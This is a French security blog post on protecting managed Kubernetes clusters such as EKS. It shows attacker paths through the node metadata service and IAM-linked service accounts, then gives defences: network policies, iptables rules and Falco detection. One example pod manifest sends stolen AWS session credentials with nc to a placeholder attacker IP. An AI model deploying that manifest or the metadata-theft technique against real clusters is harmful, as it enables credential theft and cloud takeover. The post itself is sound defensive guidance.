Blog SecOps

Cluster Kubernetes : comment le sécuriser ? | Padok Security

Rédigé par Thibault Lengagne | Apr 12, 2023 10:00:00 PM

Pourquoi utiliser un cluster managé ?

Un cluster managé est un cluster Kubernetes fourni en PaaS : une grande partie de la gestion est assurée par le Cloud Provider. Ces services sont largement utilisés car ils simplifient énormément la gestion des clusters pour les équipes Ops :

  • L'installation est extrêmement simple
  • Le cluster utilise les fonctionnalités du cloud pour toutes les opérations complexes : gestion des disques, provisionnement des nodes et des load balancers, etc...
  • Le control plane est entièrement géré par le Cloud provider
  • Les mises à jour peuvent être automatiques

Le gain en termes de sécurité peut paraître également prometteur :

  • Le modèle de responsabilité partagé garantit que la sécurité du control plane est assurée par le Cloud Manager
  • De nombreuses bonnes pratiques de sécurité Kubernetes sont implémentées par défaut

Cependant, des risques supplémentaires critiques sont induits par les nombreuses interconnexions entre Kubernetes et le Cloud. Nous allons nous pencher sur ces risques dans la suite de cet article.

Nous ne parlerons pas des bonnes pratiques générales de sécurité des clusters Kubernetes, mais uniquement des problèmes liés aux clusters managés. Pour ceux qui veulent en savoir plus sur les bonnes pratiques Kubernetes, la documentation officielle est assez complète.

Je vous propose d'aborder le point de vue d'un attaquant pour mieux comprendre les risques principaux d'un cluster managé.

Comment un cluster managé peut-il être compromis ?

Les points d'entrée pour un attaquant sur un cluster managé sont :

  • L'API Server : il ne doit jamais être public. Il faut toujours utiliser des solutions de filtrage (VPN, bastion d'administration ou filtrage d'IP par liste blanche) pour protéger l'accès à cet API Server. À savoir que l'accès anonyme à l'API est désactivé par défaut pour les clusters managés
  • Le Cloud : ce vecteur est propre aux clusters managés. Il est possible via des droits IAM d'accéder aux clusters. Par exemple, dans AWS, la commande suivante permet d'obtenir un fichier kubeconfig et d'accéder ensuite au cluster (encore faut-il avoir accès à l'API Server)
aws eks update-kubeconfig --name <cluster_name>
kubectl get pods
  • Les images déployés dans le cluster : la compromission d'un pod via une image docker malveillante ou la compromission du pipeline de déploiement peut permettre à un attaquant d'avoir un accès inital au cluster
  • Les Ingress : toute faille applicative de type Remote Code Execution permettra à un attaquant d'obtenir une exécution de commande sur un pod.

C'est le dernier point d'entrée qui est le plus probable pour un attaquant externe. Il n'a pas en général pas d'accès au Cloud Provider, à l'API Server, ni à l'environnement de déploiement.

Partons donc du principe qu'un attaquant a pris le contrôle d'un pod. Plusieurs options s'offrent à lui pour élever ses privilèges :

  • Via un compte de service : utiliser le compte de service du pod pour effectuer des actions sur le cluster, ou sur le cloud. Le compte de service par défaut n'a aucun droit.
  • Elever ses privilèges pour accéder au node : il est parfois possible de s'évader du pod pour accéder au node (via une mauvaise configuration de sécurité ou un kernel vulnérable). L'accès au node signifie souvent la compromission totale du cluster.
  • Via des attaques réseaux : par définition un pod peut joindre les autres pods. Il peut aussi potentiellement joindre les nodes. Plusieurs attaques réseaux sont ici possibles, par exemple :
    • Fuite d'informations via l'API read-only des Kubelets sur le port 10255
    • Fuite d'informations via les métriques Prometheus
    • DNS Spoofing
  • Via les metadatas du node : l'attaque de loin la plus dangereuse pour les clusters managés ! C'est ce vecteur d'attaque qui est le plus exploité par les attaquants.

Focus sur les metadatas

Dans la suite de cet article, nous allons prendre EKS pour exemple, mais vous pouvez appliquer les même attaques sur AKS et GKE. Le fonctionnement est sensiblement le même.

Toute instance de serveur dans le Cloud possède des metadatas, une collection d'information nécessaire au bon fonctionnement du serveur. Les metadatas d'une instance AWS sont disponibles à l'adresse IP : http://169.254.169.254/latest/meta-data/

Les nodes d'un cluster managé sont des instances EC2, qui possèdent donc des metadatas.

Cette adresse est par défaut joignable depuis les pods. Les metadata contiennent de nombreuses informations précieuses pour un attaquant :

  • Des informations sur l'instance : son AMI, son hostname, son id, son adresse IP, sa zone, ...
  • Des informations sur le cluster : le nom du cluster, le certificat de l'API Server, l'adresse de l'API Server, ...
  • Un token d'accès AWS lié au rôle de l'instance :

Les droits IAM du node recommandés officiellement par AWS sont :

  • AmazonEKSWorkerNodePolicy
  • AmazonEC2ContainerRegistryReadOnly

Ces policy donnent beaucoup de droits sur le cloud. L'attaquant peut utiliser ces droits de plusieurs manières :

  • Effectuer des actions sur AWS :

    • Lister tous les VPCs, les sous-réseaux, et les Security Groups du compte AWS
    • Décrire toutes les instances EC2 (et leur user-data, qui contiennent souvent des informations précieuses)
    • Supprimer tous les interfaces réseaux
    • Enumérer et pull n'importe quelle image Docker de l'ECR
  • Obtenir un accès au cluster Kubernetes en tant que membre du groupe system:node :

    aws eks update-kubeconfig --name <cluster_name>
    • Accès en lecture à tous les pods (et à leurs variables d'environnement)
    • Accès en lecture à tous les secrets et configmaps qui sont utilisés par ses pods.
    • Accès à la liste des nodes, des namespaces

Une fois que l'attaquant peut usurper l'identité d'un node, il n'y a plus qu'un pas avant d'obtenir les droits cluster-admin .

Interdire l'accès aux metadatas depuis les pods est donc absolument critique dans la sécurité du cluster. Plusieurs techniques sont possibles suivant les situations, notamment :

  • Via une Network Policy par exemple, si vous les utilisez déjà. Attention, sur les clusters AWS qui utilisent le plugin réseau par défaut aws-cni, les Network Policy ne sont pas appliquées.
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-metadata-access
  namespace: example
spec:
  podSelector: {}
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32
  • via une commande iptables sur les nodes (si les pods ont des interfaces commençant par eni ):
yum install -y iptables-services
iptables --insert FORWARD 1 --in-interface eni+ --destination 169.254.169.254/32 --jump DROP
iptables-save | tee /etc/sysconfig/iptables 
systemctl enable --now iptables

Compromission du cloud via Kubernetes

Les metadatas sont une chose, mais attention également aux comptes de services Kubernetes qui ont des droits sur le Cloud Providers. Le cloud est une porte d'entrée vers le cluster Kubernetes, et inversement !

Il est très facile et pratique de donner des droits aux pods sur le cloud via un compte de service. Il suffit, une fois les étapes de configuration effectuer, d'annoter le compte de service Kubernetes de cette manière:

apiVersion: v1
kind: ServiceAccount
metadata:
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::<ACCOUNT_ID>:role/<IAM_ROLE_NAME>

Tout pod utilisant ce compte de service jouira alors des droits du role IAM sur l'environnement Cloud. Mais un attaquant pourra également profiter de ces droits si par exemple :

  • Il a compromis ce pod :
aws sts get-session-token
{
    "Credentials": {
        "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
        "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYzEXAMPLEKEY",
        "SessionToken": "AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4OlgkBN9bkUDNCJiBeb/AXlzBBko7b15fjrBs2+cTQtpZ3CYWFXG8C5zqx37wnOE49mRl/+OtkIKGO7fAE",
        "Expiration": "2020-05-19T18:06:10+00:00"
    }
}
  • Il possède le droit de créer des pods. Il lui suffit de créer un pod avec ce compte de service :
apiVersion: v1
kind: Pod
metadata:
  labels:
    app: legitimate
spec:
  containers:
  - name: main
    image: alpine
    imagePullPolicy: IfNotPresent
    command: ["/bin/sh"]
    args: ["-c", 'aws sts get-session-token | nc -nv <attack_ip> <attack_port>; sleep 100000']
  serviceAccountName: <service_account_much_privileged>
  automountServiceAccountToken: true

(Pour ce dernier point, une bonne protection est de ne pas donner à la légère le droit de créer des pods dans des namespaces qui contiennent des services accounts très privilégiés)

Bonus : Détection d'intrusion

Si vous avez appliqué toutes les bonnes pratiques de sécurité et que vous avez pris en compte toutes les spécificités liées à votre Cloud Provider, il vous reste encore une étape importante avant d'être à l'état de l'art : la détection d'intrusion !

Cette pratique consiste à réduire l'impact des vulnérabilités 0-day, erreurs humaines, ou tout autre type d'intrusions malgré les protections mises en place. Le but est de détecter au plus tôt un comportement malveillant, et d'alerter les équipes.

Il existe un produit opensource pour détecter des attaques dans Kubernetes porté par la CNCF : Falco Security !

Falco peut se déployer très simplement comme daemonSet et monitore l'activité au niveau des pods, du kernel, et de l'API Server. La diversité des sondes lui permet de détecter la plupart des schémas classiques de compromission.

De plus il est possible d'envoyer automatiquement des alertes via Slack, SMS, ou mail, pour prévenir les équipe au plus tôt

 

Nous avons vu les vecteurs d'attaque classiques d'un cluster Kubernetes managés, ainsi que les risques encourus et les protections associées. Nous avons également découvert Falco, un outil puissant pour détecter des intrusions dans vos cluster Kubernetes.

Pour plus d'informations, voici une démonstration pratique d'attaque d'un cluster Kubernetes.